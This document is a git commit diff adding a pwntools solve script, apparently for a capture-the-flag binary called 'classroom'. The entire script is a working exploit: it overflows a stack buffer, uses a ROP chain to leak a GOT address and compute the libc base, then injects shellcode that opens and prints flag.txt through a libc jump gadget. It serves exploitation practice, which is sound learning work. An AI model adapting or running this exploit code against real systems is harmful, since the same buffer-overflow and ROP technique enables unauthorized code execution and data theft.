solve script
This commit is contained in:
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from pwn import *
|
||||
|
||||
context.binary = target = ELF("./classroom", checksec=False)
|
||||
libc = target.libc
|
||||
r = process()
|
||||
|
||||
# funcs
|
||||
s = lambda a: r.sendafter(b"> ", a)
|
||||
ss = lambda a: r.send(a)
|
||||
|
||||
# gadgets
|
||||
pop_rdi = lambda a: p64(0x400c43) + p64(a)
|
||||
pop_rsi = lambda a: p64(0x400c41) + p64(a) + p64(0)
|
||||
|
||||
# loop
|
||||
s(b"a")
|
||||
for i in range(4):
|
||||
s(b"y")
|
||||
s(b"a")
|
||||
s(b"y")
|
||||
|
||||
# leak
|
||||
buf = b"A"*136
|
||||
buf += pop_rdi(1)
|
||||
buf += pop_rsi(target.got.write)
|
||||
buf += p64(target.sym.write)
|
||||
buf += pop_rdi(0)
|
||||
buf += pop_rsi(0x60203c)
|
||||
buf += p64(target.sym.read)
|
||||
buf += p64(target.sym.kinder)
|
||||
s(buf)
|
||||
write = u64(r.recv(6).ljust(8, b"\x00"))
|
||||
log.info("write: %#x", write)
|
||||
libc.address = write - libc.sym.write
|
||||
log.info("libc: %#x", libc.address)
|
||||
|
||||
# gadgets
|
||||
jmp_rsi = libc.address + 0x3acf4
|
||||
|
||||
# shellcode
|
||||
sc = """
|
||||
lea rdi, [rsp-87]
|
||||
xor rsi, rsi
|
||||
xor rdx, rdx
|
||||
mov rax, 2
|
||||
syscall
|
||||
mov rdi, rax
|
||||
mov rsi, 0x602500
|
||||
mov dl, 0xff
|
||||
mov rax, 0
|
||||
syscall
|
||||
mov rdi, 1
|
||||
mov rax, 1
|
||||
syscall
|
||||
"""
|
||||
sc = asm(sc) + b"flag.txt\0"
|
||||
sc += b"A"*(136-len(sc))
|
||||
sc += p64(jmp_rsi)
|
||||
ss(p64(4))
|
||||
s(b"a")
|
||||
s(sc)
|
||||
|
||||
r.interactive()
|
||||
Reference in New Issue
Block a user